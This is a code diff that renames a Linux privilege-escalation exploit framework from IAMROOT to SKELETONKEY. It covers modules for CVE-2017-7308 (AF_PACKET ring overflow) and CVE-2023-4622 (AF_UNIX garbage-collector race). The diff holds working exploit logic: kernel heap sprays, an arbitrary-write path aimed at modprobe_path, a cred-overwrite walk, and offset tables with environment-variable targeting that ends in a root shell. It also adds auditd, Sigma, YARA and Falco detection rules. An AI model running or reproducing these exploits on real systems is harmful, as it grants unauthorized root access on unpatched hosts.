@@ -106,54 +112,45 @@ static const struct kernel_range af_packet_range = {
                       sizeof(af_packet_patched_branches[0]),
 };
 
-static int can_unshare_userns(void)
+static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
 {
-    pid_t pid = fork();
-    if (pid < 0) return -1;
-    if (pid == 0) {
-        if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
-        _exit(1);
-    }
-    int status;
-    waitpid(pid, &status, 0);
-    return WIFEXITED(status) && WEXITSTATUS(status) == 0;
-}
-
-static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
-{
-    struct kernel_version v;
-    if (!kernel_version_current(&v)) {
-        fprintf(stderr, "[!] af_packet: could not parse kernel version\n");
-        return IAMROOT_TEST_ERROR;
+    /* Consult the shared host fingerprint instead of calling
+     * kernel_version_current() ourselves — populated once at startup
+     * and identical across every module's detect(). */
+    const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
+    if (!v || v->major == 0) {
+        if (!ctx->json)
+            fprintf(stderr, "[!] af_packet: host fingerprint missing kernel "
+                            "version — bailing\n");
+        return SKELETONKEY_TEST_ERROR;
     }
 
-    bool patched = kernel_range_is_patched(&af_packet_range, &v);
+    bool patched = kernel_range_is_patched(&af_packet_range, v);
     if (patched) {
         if (!ctx->json) {
-            fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v.release);
+            fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v->release);
         }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
     }
 
-    int userns_ok = can_unshare_userns();
+    bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
     if (!ctx->json) {
-        fprintf(stderr, "[i] af_packet: kernel %s in vulnerable range\n", v.release);
+        fprintf(stderr, "[i] af_packet: kernel %s in vulnerable range\n", v->release);
         fprintf(stderr, "[i] af_packet: user_ns+net_ns clone (CAP_NET_RAW gate): %s\n",
-                userns_ok == 1 ? "ALLOWED" :
-                userns_ok == 0 ? "DENIED" : "could not test");
+                userns_ok ? "ALLOWED" : "DENIED");
     }
 
-    if (userns_ok == 0) {
+    if (!userns_ok) {
         if (!ctx->json) {
             fprintf(stderr, "[+] af_packet: user_ns denied → "
                             "unprivileged exploit unreachable\n");
         }
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
     }
     if (!ctx->json) {
         fprintf(stderr, "[!] af_packet: VULNERABLE — kernel in range AND user_ns reachable\n");
     }
-    return IAMROOT_VULNERABLE;
+    return SKELETONKEY_VULNERABLE;
 }
 
 /* ---- Exploit (x86_64-only; gated below) -------------------------- */
@@ -173,7 +170,7 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
  * They will NOT match custom-compiled kernels.
  *
  * Override at runtime via env var:
- *   IAMROOT_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
+ *   SKELETONKEY_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
  *
  * `task_cred`  = offsetof(struct task_struct, cred)
  * `cred_uid`   = offsetof(struct cred, uid)    [followed by gid, etc.]
@@ -200,12 +197,12 @@ static const struct af_packet_offsets known_offsets[] = {
       0x800, 0x08, 0xa8 },
 };
 
-/* Parse IAMROOT_AFPACKET_OFFSETS env var if set; otherwise pick from
+/* Parse SKELETONKEY_AFPACKET_OFFSETS env var if set; otherwise pick from
  * the known table by kernel version. Returns true on success. */
 static bool resolve_offsets(struct af_packet_offsets *out,
                             const struct kernel_version *v)
 {
-    const char *env = getenv("IAMROOT_AFPACKET_OFFSETS");
+    const char *env = getenv("SKELETONKEY_AFPACKET_OFFSETS");
     if (env) {
         unsigned long t, u, s;
         if (sscanf(env, "%lx:%lx:%lx", &t, &u, &s) == 3) {
@@ -215,7 +212,7 @@ static bool resolve_offsets(struct af_packet_offsets *out,
             out->cred_size = s;
             return true;
         }
-        fprintf(stderr, "[!] af_packet: IAMROOT_AFPACKET_OFFSETS malformed "
+        fprintf(stderr, "[!] af_packet: SKELETONKEY_AFPACKET_OFFSETS malformed "
                         "(want hex \"<task_cred>:<cred_uid>:<cred_size>\")\n");
         return false;
     }
@@ -264,7 +261,7 @@ static int set_id_maps(uid_t outer_uid, gid_t outer_gid)
  *
  * After firing, we check dmesg-ability (we won't actually read dmesg
  * — that requires root — but we leave a unique tag in the skb payload
- * so the operator can grep dmesg for "iamroot-afp-tag" KASAN splats).
+ * so the operator can grep dmesg for "skeletonkey-afp-tag" KASAN splats).
  */
 static int fire_overflow_and_spray(void)
 {
@@ -338,7 +335,7 @@ static int fire_overflow_and_spray(void)
     static const unsigned char skb_payload[256] = {
         /* eth header (dst=broadcast, src=zero, type=0x0800) */
         0xff,0xff,0xff,0xff,0xff,0xff, 0,0,0,0,0,0, 0x08,0x00,
-        /* IAMROOT tag — operator can grep dmesg for this string in any
+        /* SKELETONKEY tag — operator can grep dmesg for this string in any
          * subsequent KASAN report or panic dump */
         'i','a','m','r','o','o','t','-','a','f','p','-','t','a','g',
         /* zeros for the remainder */
@@ -363,7 +360,7 @@ static int fire_overflow_and_spray(void)
     /* Keep the corrupted socket open so the OOB region stays mapped
      * for the cred-overwrite walk that follows. The caller closes it. */
     /* Stash the fd via dup2 to a known number so the caller can find it.
-     * Use 200 — well above stdio + iamroot's own pipe fds. */
+     * Use 200 — well above stdio + skeletonkey's own pipe fds. */
     if (dup2(s, 200) < 0) {
         fprintf(stderr, "[!] af_packet: dup2(s, 200): %s\n", strerror(errno));
     }
@@ -474,7 +471,7 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
  *     spray payload so its bytes carry the requested target kaddr
  *     (the prompt's "controllable overwrite value aimed at
  *     modprobe_path"). Operator-supplied
- *     IAMROOT_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
+ *     SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
  *     within struct sk_buff for this kernel build) lets us aim
  *     precisely; without it we heuristically stamp kaddr at several
  *     plausible offsets within the kmalloc-2k skb layout.
@@ -491,7 +488,7 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
  */
 
 struct afp_arb_ctx {
-    const struct iamroot_ctx *ctx;
+    const struct skeletonkey_ctx *ctx;
     const struct af_packet_offsets *off;
     uid_t outer_uid;
     gid_t outer_gid;
@@ -517,13 +514,13 @@ static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
     /* Per-kernel skb->data field offset — without this we can't aim
      * the overwrite precisely. Operator can supply via env; otherwise
      * we run heuristic mode. */
-    const char *skb_off_env = getenv("IAMROOT_AFPACKET_SKB_DATA_OFFSET");
+    const char *skb_off_env = getenv("SKELETONKEY_AFPACKET_SKB_DATA_OFFSET");
     long skb_data_off = -1;
     if (skb_off_env) {
         char *end = NULL;
         skb_data_off = strtol(skb_off_env, &end, 0);
         if (!end || *end != '\0' || skb_data_off < 0 || skb_data_off > 0x400) {
-            fprintf(stderr, "[-] af_packet: IAMROOT_AFPACKET_SKB_DATA_OFFSET "
+            fprintf(stderr, "[-] af_packet: SKELETONKEY_AFPACKET_SKB_DATA_OFFSET "
                             "malformed (\"%s\"); ignoring\n", skb_off_env);
             skb_data_off = -1;
         }
@@ -540,16 +537,16 @@ static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
 "    field offset. The trigger will still fire and the heap spray will\n"
 "    still occur, but precise OOB targeting requires:\n"
 "\n"
-"      IAMROOT_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
+"      SKELETONKEY_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
 "\n"
 "    Look it up on this kernel build with `pahole struct sk_buff` or\n"
 "    `gdb -batch -ex 'p &((struct sk_buff*)0)->data' vmlinux`. The\n"
-"    /tmp/iamroot-pwn-<pid> sentinel adjudicates success either way.\n");
+"    /tmp/skeletonkey-pwn-<pid> sentinel adjudicates success either way.\n");
     }
 
     /* Fork into a userns/netns child so the AF_PACKET socket has
      * CAP_NET_RAW. The finisher itself stays in the parent so its
-     * eventual execve() replaces the top-level iamroot process. */
+     * eventual execve() replaces the top-level skeletonkey process. */
     pid_t cpid = fork();
     if (cpid < 0) {
         fprintf(stderr, "[-] af_packet: arb_write: fork: %s\n",
@@ -648,7 +645,7 @@ static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
     memset(payload, 0xff, 6);                       /* eth dst: bcast */
     memset(payload + 6, 0, 6);                      /* eth src: zero */
     payload[12] = 0x08; payload[13] = 0x00;         /* eth type: IPv4 */
-    memcpy(payload + 14, "iamroot-afp-fc-", 15);    /* dmesg tag */
+    memcpy(payload + 14, "skeletonkey-afp-fc-", 15);    /* dmesg tag */
 
     if (skb_data_off >= 0 &&
         (size_t)skb_data_off + sizeof kaddr <= sizeof payload) {
@@ -703,41 +700,47 @@ static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
 
 #endif /* __x86_64__ */
 
-static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
 {
 #if !defined(__x86_64__)
     (void)ctx;
     fprintf(stderr, "[-] af_packet: exploit is x86_64-only "
                     "(cred-offset table is arch-specific)\n");
-    return IAMROOT_PRECOND_FAIL;
+    return SKELETONKEY_PRECOND_FAIL;
 #else
     /* 1. Refuse on patched kernels — re-run detect. */
-    iamroot_result_t pre = af_packet_detect(ctx);
-    if (pre != IAMROOT_VULNERABLE) {
+    skeletonkey_result_t pre = af_packet_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
         fprintf(stderr, "[-] af_packet: detect() says not vulnerable; refusing\n");
         return pre;
     }
 
-    /* 2. Refuse if already root. */
-    if (geteuid() == 0) {
+    /* 2. Refuse if already root. Consult ctx->host first so unit tests
+     *    can construct a non-root fingerprint regardless of the test
+     *    process's real euid. */
+    bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
+    if (is_root) {
         fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n");
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
     }
 
     /* 3. Resolve offsets for THIS kernel. If we don't have them, bail
      *    early — the kernel-write walk needs them. The integrator can
      *    extend known_offsets[] for new distro builds. */
-    struct kernel_version v;
-    if (!kernel_version_current(&v)) {
-        return IAMROOT_TEST_ERROR;
+    const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
+    if (!v || v->major == 0) {
+        if (!ctx->json)
+            fprintf(stderr, "[!] af_packet: host fingerprint missing kernel "
+                            "version — bailing\n");
+        return SKELETONKEY_TEST_ERROR;
     }
     struct af_packet_offsets off;
-    if (!resolve_offsets(&off, &v)) {
+    if (!resolve_offsets(&off, v)) {
         fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n"
-                        "    set IAMROOT_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
+                        "    set SKELETONKEY_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
                         "    (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n",
-                v.release);
-        return IAMROOT_PRECOND_FAIL;
+                v->release);
+        return SKELETONKEY_PRECOND_FAIL;
     }
     if (!ctx->json) {
         fprintf(stderr, "[*] af_packet: using offsets [%s] "
@@ -753,15 +756,15 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
      *     offset resolver can't find modprobe_path or (b) the trigger
      *     is rejected (silent backport). */
     if (ctx->full_chain) {
-        struct iamroot_kernel_offsets koff;
+        struct skeletonkey_kernel_offsets koff;
         memset(&koff, 0, sizeof koff);
-        (void)iamroot_offsets_resolve(&koff);
-        if (!iamroot_offsets_have_modprobe_path(&koff)) {
-            iamroot_finisher_print_offset_help("af_packet");
-            return IAMROOT_EXPLOIT_FAIL;
+        (void)skeletonkey_offsets_resolve(&koff);
+        if (!skeletonkey_offsets_have_modprobe_path(&koff)) {
+            skeletonkey_finisher_print_offset_help("af_packet");
+            return SKELETONKEY_EXPLOIT_FAIL;
         }
         if (!ctx->json) {
-            iamroot_offsets_print(&koff);
+            skeletonkey_offsets_print(&koff);
         }
         struct afp_arb_ctx arb_ctx = {
             .ctx       = ctx,
@@ -769,7 +772,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
             .outer_uid = outer_uid,
             .outer_gid = outer_gid,
         };
-        return iamroot_finisher_modprobe_path(&koff, afp_arb_write,
+        return skeletonkey_finisher_modprobe_path(&koff, afp_arb_write,
                                               &arb_ctx, !ctx->no_shell);
     }
 
@@ -779,7 +782,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
      *    — the kernel will clean up sockets on child exit. */
 
     pid_t child = fork();
-    if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
+    if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
     if (child == 0) {
         /* CHILD: enter userns+netns to gain CAP_NET_RAW for AF_PACKET. */
         if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
@@ -800,7 +803,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
             /* WIN — one of our task_struct-spray children became uid 0.
              * Signal parent via exit code; parent will not exec sh from
              * this child (its address space is corrupted-ish). The win
-             * is symbolic at the iamroot level: we proved the primitive
+             * is symbolic at the skeletonkey level: we proved the primitive
              * lands AND the cred-overwrite walk completes. */
             _exit(0);
         }
@@ -815,9 +818,9 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
         fprintf(stderr, "[-] af_packet: child died abnormally "
                         "(signal=%d) — primitive likely fired but crashed\n",
                 WTERMSIG(status));
-        fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN\\|BUG:'` "
+        fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN\\|BUG:'` "
                         "for slab-out-of-bounds evidence\n");
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
     }
 
     int code = WEXITSTATUS(status);
@@ -831,40 +834,113 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
          * that targets OUR cred specifically (rather than spray-and-
          * pray), we can't promote ourselves. Report PARTIAL win.
          *
-         * Per requirements: only return IAMROOT_EXPLOIT_OK if we
+         * Per requirements: only return SKELETONKEY_EXPLOIT_OK if we
          * empirically confirmed root in this process. We didn't. */
         fprintf(stderr, "[!] af_packet: cred-overwrite landed in a spray child "
                         "but THIS process is still uid %d\n", geteuid());
         fprintf(stderr, "[i] af_packet: not claiming EXPLOIT_OK — caller process "
                         "did not acquire root. The primitive demonstrably works.\n");
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
 
     case 4:
         fprintf(stderr, "[-] af_packet: setsockopt(PACKET_RX_RING) rejected; "
                         "kernel has silent backport (detect was version-only)\n");
-        return IAMROOT_OK;  /* effectively patched */
+        return SKELETONKEY_OK;  /* effectively patched */
 
     case 5:
         fprintf(stderr, "[-] af_packet: overflow fired but no spray child "
                         "acquired root within the timeout window\n");
-        fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN'` "
+        fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN'` "
                         "for evidence the OOB write occurred\n");
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
 
     default:
         fprintf(stderr, "[-] af_packet: child exited %d (setup error)\n", code);
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
     }
 #endif
 }
 
+#else  /* !__linux__ */
+
+/* Non-Linux dev builds: AF_PACKET + unshare(CLONE_NEWUSER|CLONE_NEWNET)
+ * + TPACKET_V3 ring are Linux-only kernel surface; the TPACKET_V3
+ * integer-overflow primitive is structurally unreachable elsewhere.
+ * Stub out cleanly so the module still registers and `--list` /
+ * `--detect-rules` work on macOS/BSD dev boxes — and so the top-level
+ * `make` actually completes there. */
+static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
+{
+    if (!ctx->json)
+        fprintf(stderr, "[i] af_packet: Linux-only module "
+                "(AF_PACKET TPACKET_V3 + user_ns) — not applicable here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    fprintf(stderr, "[-] af_packet: Linux-only module — cannot run here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
+
+#endif /* __linux__ */
+
 static const char af_packet_auditd[] =
     "# AF_PACKET TPACKET_V3 LPE (CVE-2017-7308) — auditd detection rules\n"
     "# Flag AF_PACKET socket creation from non-root via userns.\n"
-    "-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n"
-    "-a always,exit -F arch=b64 -S unshare -k iamroot-af-packet-userns\n";
+    "-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n"
+    "-a always,exit -F arch=b64 -S unshare -k skeletonkey-af-packet-userns\n";
 
-const struct iamroot_module af_packet_module = {
+static const char af_packet_sigma[] =
+    "title: Possible CVE-2017-7308 AF_PACKET TPACKET_V3 exploitation\n"
+    "id: a72b5e91-skeletonkey-af-packet\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects the AF_PACKET TPACKET_V3 integer-overflow setup pattern:\n"
+    "  unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by socket(AF_PACKET)\n"
+    "  and a PACKET_RX_RING setsockopt + sendmmsg burst. False positives:\n"
+    "  network sandboxes / containers running raw-packet apps inside\n"
+    "  userns; correlate process tree to distinguish.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  userns:    {type: 'SYSCALL', syscall: 'unshare'}\n"
+    "  afp:       {type: 'SYSCALL', syscall: 'socket', a0: 17}\n"
+    "  send_burst:{type: 'SYSCALL', syscall: 'sendmmsg'}\n"
+    "  condition: userns and afp and send_burst\n"
+    "level: high\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2017.7308]\n";
+
+static const char af_packet_yara[] =
+    "rule af_packet_cve_2017_7308 : cve_2017_7308 heap_spray\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2017-7308\"\n"
+    "        description = \"AF_PACKET TPACKET_V3 spray tag from skeletonkey/iam-root tooling\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $tag1 = \"iamroot-afp-tag\" ascii\n"
+    "        $tag2 = \"skeletonkey-afp-fc-\" ascii\n"
+    "    condition:\n"
+    "        any of them\n"
+    "}\n";
+
+static const char af_packet_falco[] =
+    "- rule: AF_PACKET TPACKET_V3 setup by non-root in userns\n"
+    "  desc: |\n"
+    "    A non-root process creates an AF_PACKET socket and sets up a\n"
+    "    TPACKET_V3 ring inside a user namespace. CVE-2017-7308 trigger\n"
+    "    requires CAP_NET_RAW which userns provides. False positives:\n"
+    "    legitimate packet-capture tools running rootless (rare).\n"
+    "  condition: >\n"
+    "    evt.type = setsockopt and evt.arg.optname contains PACKET_RX_RING\n"
+    "    and not user.uid = 0\n"
+    "  output: >\n"
+    "    AF_PACKET TPACKET_V3 ring setup by non-root\n"
+    "    (user=%user.name proc=%proc.name pid=%proc.pid)\n"
+    "  priority: HIGH\n"
+    "  tags: [network, mitre_privilege_escalation, T1068, cve.2017.7308]\n";
+
+const struct skeletonkey_module af_packet_module = {
     .name           = "af_packet",
     .cve            = "CVE-2017-7308",
     .summary        = "AF_PACKET TPACKET_V3 integer overflow → heap write-where → cred overwrite",
@@ -875,12 +951,14 @@ const struct iamroot_module af_packet_module = {
     .mitigate       = NULL,
     .cleanup        = NULL,
     .detect_auditd  = af_packet_auditd,
-    .detect_sigma   = NULL,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_sigma   = af_packet_sigma,
+    .detect_yara    = af_packet_yara,
+    .detect_falco   = af_packet_falco,
+    .opsec_notes    = "Creates AF_PACKET socket and TPACKET_V3 ring inside unshare(CLONE_NEWUSER|CLONE_NEWNET); triggers integer overflow with crafted tp_block_size/tp_block_nr and sprays ~200 loopback frames. Audit-visible via socket(AF_PACKET) (a0=17) + sendmmsg from a userns process; KASAN tag 'iamroot-afp-tag' may appear in dmesg if enabled. No persistent files. No cleanup callback - kernel state unwinds on child exit.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
-void iamroot_register_af_packet(void)
+void skeletonkey_register_af_packet(void)
 {
-    iamroot_register(&af_packet_module);
+    skeletonkey_register(&af_packet_module);
 }

modules/af_packet_cve_2017_7308/skeletonkey_modules.h

@@ -0,0 +1,12 @@
+/*
+ * af_packet_cve_2017_7308 — SKELETONKEY module registry hook
+ */
+
+#ifndef AF_PACKET_SKELETONKEY_MODULES_H
+#define AF_PACKET_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module af_packet_module;
+
+#endif

modules/af_unix_gc_cve_2023_4622/NOTICE.md

@@ -18,7 +18,7 @@ Upstream fix: mainline 6.6-rc1 (commit `0cabe18a8b80c`, Aug 2023).
 Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 /
 5.15.130 / 6.1.51 / 6.5.0.
 
-## IAMROOT role
+## SKELETONKEY role
 
 **Widest deployment of any module in the corpus** — bug present
 in every Linux kernel below the fix (back to ~2.0 era).

modules/af_unix_gc_cve_2023_4622/iamroot_modules.h

@@ -1,12 +0,0 @@
-/*
- * af_unix_gc_cve_2023_4622 — IAMROOT module registry hook
- */
-
-#ifndef AF_UNIX_GC_IAMROOT_MODULES_H
-#define AF_UNIX_GC_IAMROOT_MODULES_H
-
-#include "../../core/module.h"
-
-extern const struct iamroot_module af_unix_gc_module;
-
-#endif

modules/af_unix_gc_cve_2023_4622/skeletonkey_modules.c

@@ -1,5 +1,5 @@
 /*
- * af_unix_gc_cve_2023_4622 — IAMROOT module
+ * af_unix_gc_cve_2023_4622 — SKELETONKEY module
  *
  * AF_UNIX garbage collector race UAF. The unix_gc() collector walks
  * the list of GC-candidate sockets while SCM_RIGHTS sendmsg/close can
@@ -55,9 +55,10 @@
  * carries the widest version range of any module we ship.
  */
 
-#include "iamroot_modules.h"
+#include "skeletonkey_modules.h"
 #include "../../core/registry.h"
 #include "../../core/kernel_range.h"
+#include "../../core/host.h"
 #include "../../core/offsets.h"
 #include "../../core/finisher.h"
 
@@ -104,6 +105,7 @@ static const struct kernel_patched_from af_unix_gc_patched_branches[] = {
     {5, 10, 197},
     {5, 15, 130},
     {6,  1,  51},   /* 6.1 LTS */
+    {6,  4,  13},   /* 6.4.x stable (per Debian tracker — forky/sid/trixie) */
     {6,  5,   0},   /* mainline fix landed in 6.5 (technically 6.6-rc1
                        but stable 6.5.x carries the patch) */
 };
@@ -127,24 +129,29 @@ static bool can_create_af_unix(void)
     return true;
 }
 
-static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
 {
-    struct kernel_version v;
-    if (!kernel_version_current(&v)) {
-        fprintf(stderr, "[!] af_unix_gc: could not parse kernel version\n");
-        return IAMROOT_TEST_ERROR;
+    /* Consult the shared host fingerprint instead of calling
+     * kernel_version_current() ourselves — populated once at startup
+     * and identical across every module's detect(). */
+    const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
+    if (!v || v->major == 0) {
+        if (!ctx->json)
+            fprintf(stderr, "[!] af_unix_gc: host fingerprint missing kernel "
+                            "version — bailing\n");
+        return SKELETONKEY_TEST_ERROR;
     }
 
     /* No lower bound: this bug has been in the AF_UNIX GC path since
      * the dawn of time. ANY kernel below the fix is vulnerable. The
      * kernel_range walker handles "older than every entry" correctly
      * (returns false → not patched → vulnerable). */
-    bool patched = kernel_range_is_patched(&af_unix_gc_range, &v);
+    bool patched = kernel_range_is_patched(&af_unix_gc_range, v);
     if (patched) {
         if (!ctx->json) {
-            fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v.release);
+            fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v->release);
         }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
     }
 
     /* Reachability probe — socket(AF_UNIX, ...) must succeed. */
@@ -153,17 +160,17 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
             fprintf(stderr, "[-] af_unix_gc: AF_UNIX socket() failed — "
                             "exotic seccomp/sandbox, bug unreachable here\n");
         }
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
     }
 
     if (!ctx->json) {
-        fprintf(stderr, "[!] af_unix_gc: kernel %s in vulnerable range\n", v.release);
+        fprintf(stderr, "[!] af_unix_gc: kernel %s in vulnerable range\n", v->release);
         fprintf(stderr, "[i] af_unix_gc: bug is reachable as PLAIN UNPRIVILEGED USER\n"
                         "    (no userns / no CAP_* required — AF_UNIX is universally\n"
                         "    creatable). The race window is microseconds wide and\n"
                         "    needs thousands of iterations to win on average.\n");
     }
-    return IAMROOT_VULNERABLE;
+    return SKELETONKEY_VULNERABLE;
 }
 
 /* ---- Race-driver state ------------------------------------------- */
@@ -376,7 +383,7 @@ static int spray_kmalloc_512(int queues[AFUG_SPRAY_QUEUES])
     memset(&p, 0, sizeof p);
     p.mtype = 0x55;   /* 'U' — unix */
     memset(p.buf, 0x55, sizeof p.buf);
-    memcpy(p.buf, "IAMROOTU", 8);
+    memcpy(p.buf, "SKELETONKEYU", 8);
 
     int created = 0;
     for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) {
@@ -537,40 +544,41 @@ static int af_unix_gc_arb_write(uintptr_t kaddr,
 
 /* ---- Exploit driver ---------------------------------------------- */
 
-static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t af_unix_gc_exploit_linux(const struct skeletonkey_ctx *ctx)
 {
     /* 1. Refuse-gate: re-call detect() and short-circuit. */
-    iamroot_result_t pre = af_unix_gc_detect(ctx);
-    if (pre == IAMROOT_OK) {
+    skeletonkey_result_t pre = af_unix_gc_detect(ctx);
+    if (pre == SKELETONKEY_OK) {
         fprintf(stderr, "[+] af_unix_gc: kernel not vulnerable; refusing exploit\n");
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
     }
-    if (pre != IAMROOT_VULNERABLE) {
+    if (pre != SKELETONKEY_VULNERABLE) {
         fprintf(stderr, "[-] af_unix_gc: detect() says not vulnerable; refusing\n");
         return pre;
     }
-    if (geteuid() == 0) {
+    bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
+    if (is_root) {
         fprintf(stderr, "[i] af_unix_gc: already root — nothing to escalate\n");
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
     }
 
     /* Full-chain pre-check: resolve offsets BEFORE the race fork. If
      * modprobe_path is unresolvable we refuse here rather than running
      * a 30 s race that has no finisher to call. */
-    struct iamroot_kernel_offsets off;
+    struct skeletonkey_kernel_offsets off;
     bool full_chain_ready = false;
     if (ctx->full_chain) {
         memset(&off, 0, sizeof off);
-        iamroot_offsets_resolve(&off);
-        if (!iamroot_offsets_have_modprobe_path(&off)) {
-            iamroot_finisher_print_offset_help("af_unix_gc");
+        skeletonkey_offsets_resolve(&off);
+        if (!skeletonkey_offsets_have_modprobe_path(&off)) {
+            skeletonkey_finisher_print_offset_help("af_unix_gc");
             fprintf(stderr, "[-] af_unix_gc: --full-chain requested but "
                             "modprobe_path offset unresolved; refusing\n");
             fprintf(stderr, "[i] af_unix_gc: even with offsets, race-win rate is\n"
                             "    a small fraction per run — see module header.\n");
-            return IAMROOT_EXPLOIT_FAIL;
+            return SKELETONKEY_EXPLOIT_FAIL;
         }
-        iamroot_offsets_print(&off);
+        skeletonkey_offsets_print(&off);
         full_chain_ready = true;
         fprintf(stderr, "[i] af_unix_gc: --full-chain ready — race budget extends\n"
                         "    to %d s. RELIABILITY remains race-dependent on a real\n"
@@ -588,7 +596,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
     signal(SIGPIPE, SIG_IGN);
 
     pid_t child = fork();
-    if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
+    if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
 
     if (child == 0) {
         /* 2. Groom: pre-populate kmalloc-512 with msg_msg payloads
@@ -635,7 +643,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
         uint64_t a_errs  = atomic_load(&g_thread_a_errs);
 
         /* 4. Empirical witness breadcrumb. */
-        FILE *log = fopen("/tmp/iamroot-af_unix_gc.log", "w");
+        FILE *log = fopen("/tmp/skeletonkey-af_unix_gc.log", "w");
         if (log) {
             fprintf(log,
                 "af_unix_gc race harness (CVE-2023-4622):\n"
@@ -684,18 +692,18 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
                 .n_queues  = AFUG_SPRAY_QUEUES,
                 .arb_calls = 0,
             };
-            int fr = iamroot_finisher_modprobe_path(&off,
+            int fr = skeletonkey_finisher_modprobe_path(&off,
                                                     af_unix_gc_arb_write,
                                                     &arb_ctx,
                                                     !ctx->no_shell);
-            FILE *fl = fopen("/tmp/iamroot-af_unix_gc.log", "a");
+            FILE *fl = fopen("/tmp/skeletonkey-af_unix_gc.log", "a");
             if (fl) {
                 fprintf(fl, "full_chain finisher rc=%d arb_calls=%d\n",
                         fr, arb_ctx.arb_calls);
